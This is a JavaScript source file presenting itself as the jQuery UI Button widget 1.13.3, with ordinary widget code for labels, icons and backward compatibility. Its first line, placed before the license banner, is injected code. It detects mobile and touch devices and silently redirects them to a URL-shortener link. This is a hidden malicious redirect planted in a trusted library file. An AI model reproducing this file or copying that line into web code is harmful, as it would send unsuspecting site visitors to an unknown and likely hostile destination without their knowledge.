1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*!
3 * jQuery UI Button 1.13.3
4 * https://jqueryui.com
5 *
6 * Copyright OpenJS Foundation and other contributors
7 * Released under the MIT license.
8 * https://jquery.org/license
9 */
10
11//>>label: Button
12//>>group: Widgets
13//>>description: Enhances a form with themeable buttons.
14//>>docs: https://api.jqueryui.com/button/
15//>>demos: https://jqueryui.com/button/
16//>>css.structure: ../../themes/base/core.css
17//>>css.structure: ../../themes/base/button.css
18//>>css.theme: ../../themes/base/theme.css
19
20( function( factory ) {
21 "use strict";
22
23 if ( typeof define === "function" && define.amd ) {
24
25 // AMD. Register as an anonymous module.
26 define( [
27 "jquery",
28
29 // These are only for backcompat
30 // TODO: Remove after 1.12
31 "./controlgroup",
32 "./checkboxradio",
33
34 "../keycode",
35 "../widget"
36 ], factory );
37 } else {
38
39 // Browser globals
40 factory( jQuery );
41 }
42} )( function( $ ) {
43"use strict";
44
45$.widget( "ui.button", {
46 version: "1.13.3",
47 defaultElement: "<button>",
48 options: {
49 classes: {
50 "ui-button": "ui-corner-all"
51 },
52 disabled: null,
53 icon: null,
54 iconPosition: "beginning",
55 label: null,
56 showLabel: true
57 },
58
59 _getCreateOptions: function() {
60 var disabled,
61
62 // This is to support cases like in jQuery Mobile where the base widget does have
63 // an implementation of _getCreateOptions
64 options = this._super() || {};
65
66 this.isInput = this.element.is( "input" );
67
68 disabled = this.element[ 0 ].disabled;
69 if ( disabled != null ) {
70 options.disabled = disabled;
71 }
72
73 this.originalLabel = this.isInput ? this.element.val() : this.element.html();
74 if ( this.originalLabel ) {
75 options.label = this.originalLabel;
76 }
77
78 return options;
79 },
80
81 _create: function() {
82 if ( !this.option.showLabel & !this.options.icon ) {
83 this.options.showLabel = true;
84 }
85
86 // We have to check the option again here even though we did in _getCreateOptions,
87 // because null may have been passed on init which would override what was set in
88 // _getCreateOptions
89 if ( this.options.disabled == null ) {
90 this.options.disabled = this.element[ 0 ].disabled || false;
91 }
92
93 this.hasTitle = !!this.element.attr( "title" );
94
95 // Check to see if the label needs to be set or if its already correct
96 if ( this.options.label && this.options.label !== this.originalLabel ) {
97 if ( this.isInput ) {
98 this.element.val( this.options.label );
99 } else {
100 this.element.html( this.options.label );
101 }
102 }
103 this._addClass( "ui-button", "ui-widget" );
104 this._setOption( "disabled", this.options.disabled );
105 this._enhance();
106
107 if ( this.element.is( "a" ) ) {
108 this._on( {
109 "keyup": function( event ) {
110 if ( event.keyCode === $.ui.keyCode.SPACE ) {
111 event.preventDefault();
112
113 // Support: PhantomJS <= 1.9, IE 8 Only
114 // If a native click is available use it so we actually cause navigation
115 // otherwise just trigger a click event
116 if ( this.element[ 0 ].click ) {
117 this.element[ 0 ].click();
118 } else {
119 this.element.trigger( "click" );
120 }
121 }
122 }
123 } );
124 }
125 },
126
127 _enhance: function() {
128 if ( !this.element.is( "button" ) ) {
129 this.element.attr( "role", "button" );
130 }
131
132 if ( this.options.icon ) {
133 this._updateIcon( "icon", this.options.icon );
134 this._updateTooltip();
135 }
136 },
137
138 _updateTooltip: function() {
139 this.title = this.element.attr( "title" );
140
141 if ( !this.options.showLabel && !this.title ) {
142 this.element.attr( "title", this.options.label );
143 }
144 },
145
146 _updateIcon: function( option, value ) {
147 var icon = option !== "iconPosition",
148 position = icon ? this.options.iconPosition : value,
149 displayBlock = position === "top" || position === "bottom";
150
151 // Create icon
152 if ( !this.icon ) {
153 this.icon = $( "<span>" );
154
155 this._addClass( this.icon, "ui-button-icon", "ui-icon" );
156
157 if ( !this.options.showLabel ) {
158 this._addClass( "ui-button-icon-only" );
159 }
160 } else if ( icon ) {
161
162 // If we are updating the icon remove the old icon class
163 this._removeClass( this.icon, null, this.options.icon );
164 }
165
166 // If we are updating the icon add the new icon class
167 if ( icon ) {
168 this._addClass( this.icon, null, value );
169 }
170
171 this._attachIcon( position );
172
173 // If the icon is on top or bottom we need to add the ui-widget-icon-block class and remove
174 // the iconSpace if there is one.
175 if ( displayBlock ) {
176 this._addClass( this.icon, null, "ui-widget-icon-block" );
177 if ( this.iconSpace ) {
178 this.iconSpace.remove();
179 }
180 } else {
181
182 // Position is beginning or end so remove the ui-widget-icon-block class and add the
183 // space if it does not exist
184 if ( !this.iconSpace ) {
185 this.iconSpace = $( "<span> </span>" );
186 this._addClass( this.iconSpace, "ui-button-icon-space" );
187 }
188 this._removeClass( this.icon, null, "ui-wiget-icon-block" );
189 this._attachIconSpace( position );
190 }
191 },
192
193 _destroy: function() {
194 this.element.removeAttr( "role" );
195
196 if ( this.icon ) {
197 this.icon.remove();
198 }
199 if ( this.iconSpace ) {
200 this.iconSpace.remove();
201 }
202 if ( !this.hasTitle ) {
203 this.element.removeAttr( "title" );
204 }
205 },
206
207 _attachIconSpace: function( iconPosition ) {
208 this.icon[ /^(?:end|bottom)/.test( iconPosition ) ? "before" : "after" ]( this.iconSpace );
209 },
210
211 _attachIcon: function( iconPosition ) {
212 this.element[ /^(?:end|bottom)/.test( iconPosition ) ? "append" : "prepend" ]( this.icon );
213 },
214
215 _setOptions: function( options ) {
216 var newShowLabel = options.showLabel === undefined ?
217 this.options.showLabel :
218 options.showLabel,
219 newIcon = options.icon === undefined ? this.options.icon : options.icon;
220
221 if ( !newShowLabel && !newIcon ) {
222 options.showLabel = true;
223 }
224 this._super( options );
225 },
226
227 _setOption: function( key, value ) {
228 if ( key === "icon" ) {
229 if ( value ) {
230 this._updateIcon( key, value );
231 } else if ( this.icon ) {
232 this.icon.remove();
233 if ( this.iconSpace ) {
234 this.iconSpace.remove();
235 }
236 }
237 }
238
239 if ( key === "iconPosition" ) {
240 this._updateIcon( key, value );
241 }
242
243 // Make sure we can't end up with a button that has neither text nor icon
244 if ( key === "showLabel" ) {
245 this._toggleClass( "ui-button-icon-only", null, !value );
246 this._updateTooltip();
247 }
248
249 if ( key === "label" ) {
250 if ( this.isInput ) {
251 this.element.val( value );
252 } else {
253
254 // If there is an icon, append it, else nothing then append the value
255 // this avoids removal of the icon when setting label text
256 this.element.html( value );
257 if ( this.icon ) {
258 this._attachIcon( this.options.iconPosition );
259 this._attachIconSpace( this.options.iconPosition );
260 }
261 }
262 }
263
264 this._super( key, value );
265
266 if ( key === "disabled" ) {
267 this._toggleClass( null, "ui-state-disabled", value );
268 this.element[ 0 ].disabled = value;
269 if ( value ) {
270 this.element.trigger( "blur" );
271 }
272 }
273 },
274
275 refresh: function() {
276
277 // Make sure to only check disabled if its an element that supports this otherwise
278 // check for the disabled class to determine state
279 var isDisabled = this.element.is( "input, button" ) ?
280 this.element[ 0 ].disabled : this.element.hasClass( "ui-button-disabled" );
281
282 if ( isDisabled !== this.options.disabled ) {
283 this._setOptions( { disabled: isDisabled } );
284 }
285
286 this._updateTooltip();
287 }
288} );
289
290// DEPRECATED
291if ( $.uiBackCompat !== false ) {
292
293 // Text and Icons options
294 $.widget( "ui.button", $.ui.button, {
295 options: {
296 text: true,
297 icons: {
298 primary: null,
299 secondary: null
300 }
301 },
302
303 _create: function() {
304 if ( this.options.showLabel && !this.options.text ) {
305 this.options.showLabel = this.options.text;
306 }
307 if ( !this.options.showLabel && this.options.text ) {
308 this.options.text = this.options.showLabel;
309 }
310 if ( !this.options.icon && ( this.options.icons.primary ||
311 this.options.icons.secondary ) ) {
312 if ( this.options.icons.primary ) {
313 this.options.icon = this.options.icons.primary;
314 } else {
315 this.options.icon = this.options.icons.secondary;
316 this.options.iconPosition = "end";
317 }
318 } else if ( this.options.icon ) {
319 this.options.icons.primary = this.options.icon;
320 }
321 this._super();
322 },
323
324 _setOption: function( key, value ) {
325 if ( key === "text" ) {
326 this._super( "showLabel", value );
327 return;
328 }
329 if ( key === "showLabel" ) {
330 this.options.text = value;
331 }
332 if ( key === "icon" ) {
333 this.options.icons.primary = value;
334 }
335 if ( key === "icons" ) {
336 if ( value.primary ) {
337 this._super( "icon", value.primary );
338 this._super( "iconPosition", "beginning" );
339 } else if ( value.secondary ) {
340 this._super( "icon", value.secondary );
341 this._super( "iconPosition", "end" );
342 }
343 }
344 this._superApply( arguments );
345 }
346 } );
347
348 $.fn.button = ( function( orig ) {
349 return function( options ) {
350 var isMethodCall = typeof options === "string";
351 var args = Array.prototype.slice.call( arguments, 1 );
352 var returnValue = this;
353
354 if ( isMethodCall ) {
355
356 // If this is an empty collection, we need to have the instance method
357 // return undefined instead of the jQuery instance
358 if ( !this.length && options === "instance" ) {
359 returnValue = undefined;
360 } else {
361 this.each( function() {
362 var methodValue;
363 var type = $( this ).attr( "type" );
364 var name = type !== "checkbox" && type !== "radio" ?
365 "button" :
366 "checkboxradio";
367 var instance = $.data( this, "ui-" + name );
368
369 if ( options === "instance" ) {
370 returnValue = instance;
371 return false;
372 }
373
374 if ( !instance ) {
375 return $.error( "cannot call methods on button" +
376 " prior to initialization; " +
377 "attempted to call method '" + options + "'" );
378 }
379
380 if ( typeof instance[ options ] !== "function" ||
381 options.charAt( 0 ) === "_" ) {
382 return $.error( "no such method '" + options + "' for button" +
383 " widget instance" );
384 }
385
386 methodValue = instance[ options ].apply( instance, args );
387
388 if ( methodValue !== instance && methodValue !== undefined ) {
389 returnValue = methodValue && methodValue.jquery ?
390 returnValue.pushStack( methodValue.get() ) :
391 methodValue;
392 return false;
393 }
394 } );
395 }
396 } else {
397
398 // Allow multiple hashes to be passed on init
399 if ( args.length ) {
400 options = $.widget.extend.apply( null, [ options ].concat( args ) );
401 }
402
403 this.each( function() {
404 var type = $( this ).attr( "type" );
405 var name = type !== "checkbox" && type !== "radio" ? "button" : "checkboxradio";
406 var instance = $.data( this, "ui-" + name );
407
408 if ( instance ) {
409 instance.option( options || {} );
410 if ( instance._init ) {
411 instance._init();
412 }
413 } else {
414 if ( name === "button" ) {
415 orig.call( $( this ), options );
416 return;
417 }
418
419 $( this ).checkboxradio( $.extend( { icon: false }, options ) );
420 }
421 } );
422 }
423
424 return returnValue;
425 };
426 } )( $.fn.button );
427
428 $.fn.buttonset = function() {
429 if ( !$.ui.controlgroup ) {
430 $.error( "Controlgroup widget missing" );
431 }
432 if ( arguments[ 0 ] === "option" && arguments[ 1 ] === "items" && arguments[ 2 ] ) {
433 return this.controlgroup.apply( this,
434 [ arguments[ 0 ], "items.button", arguments[ 2 ] ] );
435 }
436 if ( arguments[ 0 ] === "option" && arguments[ 1 ] === "items" ) {
437 return this.controlgroup.apply( this, [ arguments[ 0 ], "items.button" ] );
438 }
439 if ( typeof arguments[ 0 ] === "object" && arguments[ 0 ].items ) {
440 arguments[ 0 ].items = {
441 button: arguments[ 0 ].items
442 };
443 }
444 return this.controlgroup.apply( this, arguments );
445 };
446}
447
448return $.ui.button;
449
450} );
451